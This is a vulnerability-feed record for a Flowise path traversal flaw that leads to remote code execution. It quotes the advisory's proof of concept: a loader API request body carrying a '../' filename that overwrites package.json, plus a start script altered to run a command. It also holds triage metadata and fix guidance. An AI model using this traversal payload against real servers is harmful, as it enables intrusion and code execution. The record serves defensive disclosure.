{"id":"CVE-2025-71338","kind":"vulnerability","aliases":["CVE-2025-71338","GHSA-8vvx-qvq9-5948"],"related":[],"title":"Flowise allows arbitrary file write to RCE","description":"### Summary\nAn attacker could write files with arbitrary content to the filesystem via the `/api/v1/document-store/loader/process` API.\nAn attacker can reach RCE(Remote Code Execution) via file writing.\n\n### Details\nAll file writing functions in [packages/components/src/storageUtils.ts](https://github.com/FlowiseAI/Flowise/blob/main/packages/components/src/storageUtils.ts) are vulnerable.\n- addBase64FilesToStorage\n- addArrayFilesToStorage\n- addSingleFileToStorage\n\nThe fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.\n```javascript\nconst filePath = path.join(dir, fileName)\nfs.writeFileSync(filePath, bf)\n```\nTherefore, users can move to the parent folder via `../` and write files to any path.\n\nOnce file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.\n\nIn PoC (Proof of Concept), RCE was reached by overwriting package.json.\n\n### PoC\nIn PoC, `package.json` is overwritten.\nThis is a scenario in which arbitrary code is executed when `pnpm start` is executed by changing the start command in the `scripts{}` statement to an arbitrary value.\n\n**- original start command**\n````\n\"start\": \"run-script-os\",\n````\n\n**- modify start command**\n````\n\"start\": \"touch /tmp/pyozzi-poc && run-script-os\",\n````\n\nWhen a user runs the `pnpm start` command, a `pyozzi-poc` file is created in the `/tmp` path.\n\n#### 1. package.json content base64 encoding\n```json\n{\n    \"name\": \"flowise\",\n    \"version\": \"1.8.2\",\n    \"private\": true,\n    \"homepage\": \"https://flowiseai.com\",\n    \"workspaces\": [\n        \"packages/*\",\n        \"flowise\",\n        \"ui\",\n        \"components\"\n    ],\n    \"scripts\": {\n        \"build\": \"turbo run build && echo poc\",\n        \"build-force\": \"pnpm clean && turbo run build --force\",\n        \"dev\": \"turbo run dev --parallel\",\n        \"start\": \"touch /tmp/pyozzi-poc && run-script-os\", --> modify (add touch /tmp/pyozzi &&)\n        \"start:windows\": \"cd packages/server/bin && run start\",\n        \"start:default\": \"cd packages/server/bin && ./run start\",\n        \"clean\": \"pnpm --filter \\\"./packages/**\\\" clean\",\n        \"nuke\": \"pnpm --filter \\\"./packages/**\\\" nuke && rimraf node_modules .turbo\",\n        \"format\": \"prettier --write \\\"**/*.{ts,tsx,md}\\\"\",\n        \"lint\": \"eslint \\\"**/*.{js,jsx,ts,tsx,json,md}\\\"\",\n        \"lint-fix\": \"pnpm lint --fix\",\n        \"quick\": \"pretty-quick --staged\",\n        \"postinstall\": \"husky install\",\n        \"migration:create\": \"pnpm typeorm migration:create\"\n    }, ... skip\n```\n\n#### 2. Overwrite `package.json` via `/api/v1/document-store/loader/process`\n<img width=\"1329\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/a548732d-4bee-4cd0-8565-54fb8e560500\">\n\n> **Request Body**\n```json\n{\n    \"loaderId\": \"textFile\",\n    \"storeId\": \"c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb\",\n    \"loaderName\": \"Text File\",\n    \"loaderConfig\": {\n        \"txtFile\": \"data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json\",\n        \"textSplitter\": \"\",\n        \"metadata\": \"\",\n        \"omitMetadataKeys\": \"\"\n    }\n}\n```\nThe part after `filename:` of the `txtFile` parameter is the value used as `fileName` in the function.\nAdd `../` to the filename value to move to the top path, then specify `package.json` in the project folder `/usr/src/` as the path.\n\n<img width=\"663\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/13fdc756-f4d3-45f9-9929-fd978f532a02\">\n\nAfterwards, when the user starts the server (`pnpm start`), the added script will be executed. (`touch /tmp/pyozzi-poc`)\n\n**- starting server with `touch /tmp/pyozzi-poc` command**\n<img width=\"737\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/341be379-43ca-4acc-9126-dc398475fcf3\">\n\n**- `/tmp/pyozzi-poc` file created**\n<img width=\"751\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/15707068-c000-4d59-972d-89d969c27087\">\n\n\n### Impact\n**Remote Code Execution (RCE)**\nAlthough it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.","summary":"Flowise's document-store loader API passes an untrusted file name straight into path.join, so ../ sequences write files anywhere the server process can reach. An attacker can overwrite package.json and get code run when the server starts, which gives full server shell access.","severity":"critical","cvss":10.0,"epss":0.01157,"exploited":false,"exploited_at":null,"products":[{"name":"flowise","fixed":[],"affected":"<= 2.2.7","ecosystem":"npm"},{"name":"flowiseai flowise","fixed":[],"affected":"<= 3.1.3","ecosystem":"vendor"}],"ecosystems":["npm","vendor"],"tags":["ai-agents","ai-tooling","cwe-73","cwe-94","flowise","node","self-hosted"],"not_affected_if":["endpoint-not-exposed","patched-version"],"how_to_check":"- Check the installed Flowise version with `npm ls flowise` in the deployment\n- Confirm whether the server exposes `/api/v1/document-store/loader/process` to untrusted users","fix":"- Upgrade flowise to a version later than `2.2.7` (the sources list 2.2.7 as affected; the fixed version is not stated)","status":"open","published_at":"2025-03-14T18:48:44+00:00","first_seen_at":"2026-11-03T17:41:47+00:00","triaged_at":"2026-11-03T17:42:41+00:00","updated_at":"2026-11-03T17:52:24+00:00","category":"ai-tooling","confidence":0.7,"triage":{"at":"2026-11-03T17:42:41Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade flowise to a version later than `2.2.7` (the sources list 2.2.7 as affected; the fixed version is not stated)","reach":"internet","title":"Flowise: path traversal in document loader lets attackers write files and run code","impact":"high","summary":"Flowise's document-store loader API passes an untrusted file name straight into path.join, so ../ sequences write files anywhere the server process can reach. An attacker can overwrite package.json and get code run when the server starts, which gives full server shell access.","audience":"businesses","category":"ai-tooling","nicknames":[],"who_cares":["flowise","self-hosted","node","ai-agents"],"confidence":0.7,"fix_status":"unknown","needs_auth":"unknown","worst_case":"attacker runs arbitrary code with full server shell privileges","analyst_note":"Confirm the fixed Flowise version and whether the endpoint requires authentication, using the GHSA-8vvx-qvq9-5948 advisory page and the linked patch and release pages.","how_to_check":"- Check the installed Flowise version with `npm ls flowise` in the deployment\n- Confirm whether the server exposes `/api/v1/document-store/loader/process` to untrusted users\n- unknown whether other check steps are needed","plain_action":"","needs_analyst":true,"not_affected_if":["patched-version","endpoint-not-exposed"],"who_is_affected":"Any Flowise deployment at version 2.2.7 or earlier whose document-store loader endpoint can be reached by someone who should not write files on the server. The write path needs no special configuration in the advisory's PoC, but the sources do not confirm whether authentication is required on the endpoint.","user_interaction":"unknown","needs_special_setup":"unknown","severity_if_unknown":"critical"},"cost_usd":0.000897,"input_tokens":5854,"output_tokens":623,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2025':9A,17A '-71338':10A,18A '-73':29B '-94':31B '/../../../../../usr/src/package.json':409C '/api/v1/document-store/loader/process':95C,385C '/flowiseai/flowise/blob/main/packages/components/src/storageutils.ts)':117C '/packages':335C,340C '/run':330C '/tmp':267C '/tmp/pyozzi':319C '/tmp/pyozzi-poc':245C,311C,468C,473C,475C '/usr/src':448C '1':269C '1.8.2':278C '2':381C '47ae':395C '5948':15A '7702ef8baabb':397C '8vvx':13A '9caa':396C '9eb6':394C 'access':80B 'add':317C,430C,462C 'addarrayfilestostorag':121C 'addbase64filestostorage':120C 'addsinglefiletostorag':122C 'afterward':452C 'agent':24B 'ai':23B,26B 'ai-ag':22B 'ai-tool':25B 'allow':2A 'anywher':56B 'api':43B,96C 'arbitrari':3A,88C,210C,230C 'argument':137C 'attack':63B,83C,98C,175C 'base64':272C,405C 'bf':150C 'bodi':387C 'build':289C,292C,296C,302C 'build-forc':295C 'c4b8a8fb':393C 'c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb':392C 'cd':322C,328C 'chang':220C 'clean':299C,332C,336C 'code':69B,103C,180C,211C,480C 'command':223C,234C,242C,257C,474C 'compon':287C 'concept':191C 'const':143C 'content':89C,271C,407C 'could':84C 'creat':264C,375C,379C,477C 'cve':8A,16A 'cwe':28B,30B 'data':403C 'default':327C 'detail':108C 'dev':304C,307C 'dir':146C 'document':40B 'document-stor':39B 'echo':293C 'encod':273C,406C 'eslint':353C 'execu':481C 'execut':104C,181C,213C,218C,466C 'extern':130C 'file':4A,47B,55B,86C,106C,110C,162C,167C,262C,400C,476C 'filenam':124C,147C,408C,416C,426C,433C 'filepath':144C,149C 'filesystem':92C 'filter':334C,339C 'fix':362C,365C 'flowis':1A,32B,37B,276C,285C 'flowise':19A,21A 'flowiseai':20A 'flowiseai.com':282C 'folder':158C,447C 'forc':297C,303C 'format':346C 'fs.writefilesync':148C 'full':77B 'function':112C,429C 'get':68B 'ghsa':12A 'ghsa-8vvx-qvq9':11A 'github.com':116C 'github.com/flowiseai/flowise/blob/main/packages/components/src/storageutils.ts)':115C 'give':76B 'homepag':281C 'host':36B 'huski':372C 'impact':478C 'input':131C 'instal':373C 'javascript':142C 'js':354C 'json':274C,358C,388C 'jsx':355C 'lint':352C,361C,364C 'lint-fix':360C 'loader':42B 'loaderconfig':401C 'loaderid':389C 'loadernam':398C 'md':351C,359C 'metadata':411C 'migrat':374C,378C 'modifi':240C,316C 'modul':344C 'move':154C,436C 'name':48B,275C 'node':33B,343C 'nuke':337C,341C 'omitmetadatakey':412C 'origin':232C 'os':239C,249C,315C 'overwrit':65B,196C,382C 'overwritten':203C 'packag':284C 'package.json':66B,197C,201C,270C,383C,443C 'packages/components/src/storageutils.ts':114C 'packages/server/bin':323C,329C 'parallel':308C 'paramet':125C,420C 'parent':157C 'part':414C 'pass':44B 'path':165C,173C,268C,440C,451C 'path.join':51B,139C,145C 'pnpm':215C,255C,298C,333C,338C,363C,376C,459C 'poc':188C,198C,200C,261C,294C 'possibl':170C 'postinstal':371C 'pretti':368C 'prettier':347C 'pretty-quick':367C 'privat':279C 'process':59B 'project':446C 'proof':189C 'pyozzi':260C 'pyozzi-poc':259C 'quick':366C,369C 'qvq9':14A 'rce':7A,101C,178C,192C 'reach':61B,100C,177C,194C 'remot':102C,179C,479C 'request':386C 'rimraf':342C 'run':70B,237C,247C,253C,291C,301C,306C,313C,324C 'run-script-o':236C,246C,312C 'scenario':207C 'script':226C,238C,248C,288C,314C,463C 'self':35B 'self-host':34B 'sequenc':53B 'server':58B,73B,78B,458C,470C 'shell':79B 'skip':380C 'specifi':442C 'stage':370C 'start':74B,216C,222C,233C,235C,241C,243C,256C,309C,320C,325C,326C,331C,456C,460C,469C 'statement':227C 'store':41B 'storeid':391C 'straight':49B 'summari':81C 'text':399C 'text/plain':404C 'textfil':390C 'textsplitt':410C 'therefor':151C 'tool':27B 'top':439C 'touch':244C,310C,318C,467C,472C 'true':280C 'ts':349C,356C 'tsx':350C,357C 'turbo':290C,300C,305C,345C 'txtfile':402C,419C 'typeorm':377C 'ui':286C 'untrust':46B,129C 'use':134C,424C 'user':152C,252C,455C 'valu':231C,423C,434C 'varieti':184C 'verif':141C 'version':277C 'via':93C,105C,159C,384C 'vulner':119C 'way':186C 'window':321C 'without':140C 'workspac':283C 'write':5A,54B,85C,107C,111C,161C,168C,348C","nicknames":[],"mitigations":[],"who_affected":"Any Flowise deployment at version 2.2.7 or earlier whose document-store loader endpoint can be reached by someone who should not write files on the server. The write path needs no special configuration in the advisory's PoC, but the sources do not confirm whether authentication is required on the endpoint.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"unknown","audience":"businesses","plain_action":null,"pkeys":["flowise","flowiseaiflowise"],"ptokens":["flowise","flowiseai"],"labels":["aiagents","aitooling","critical","cwe73","cwe94","flowise","node","npm","selfhosted","vendor"],"campaign_type":null,"first_public_at":"2025-03-14T11:44:27+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-8vvx-qvq9-5948","url":"https://github.com/advisories/GHSA-8vvx-qvq9-5948","severity":"critical","published_at":"2025-03-14T18:48:44+00:00","modified_at":"2026-11-03T17:36:57+00:00","first_seen_at":"2026-11-03T17:41:47+00:00","fetched_at":"2026-11-03T17:41:47+00:00","note":null},{"source":"nvd","external_id":"CVE-2025-71338","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71338","severity":null,"published_at":"2026-06-25T22:16:59+00:00","modified_at":"2026-10-12T21:10:00+00:00","first_seen_at":"2026-11-03T17:52:24+00:00","fetched_at":"2026-11-03T17:52:24+00:00","note":null}],"documents":[{"id":59337,"url":"https://api.github.com/repos/FlowiseAI/Flowise/security-advisories/GHSA-8vvx-qvq9-5948","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":59338,"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8vvx-qvq9-5948","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2025-03-14T11:44:27+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":59316,"url":"https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":59340,"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%402.2.7-patch.1","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":59481,"url":"https://www.vulncheck.com/advisories/flowise-arbitrary-file-write-to-remote-code-execution-via-document-store-api","title":"Third-party advisory: www.vulncheck.com","kind":"advisory","source":"nvd","publisher":"research","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Third-party advisory: www.vulncheck.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}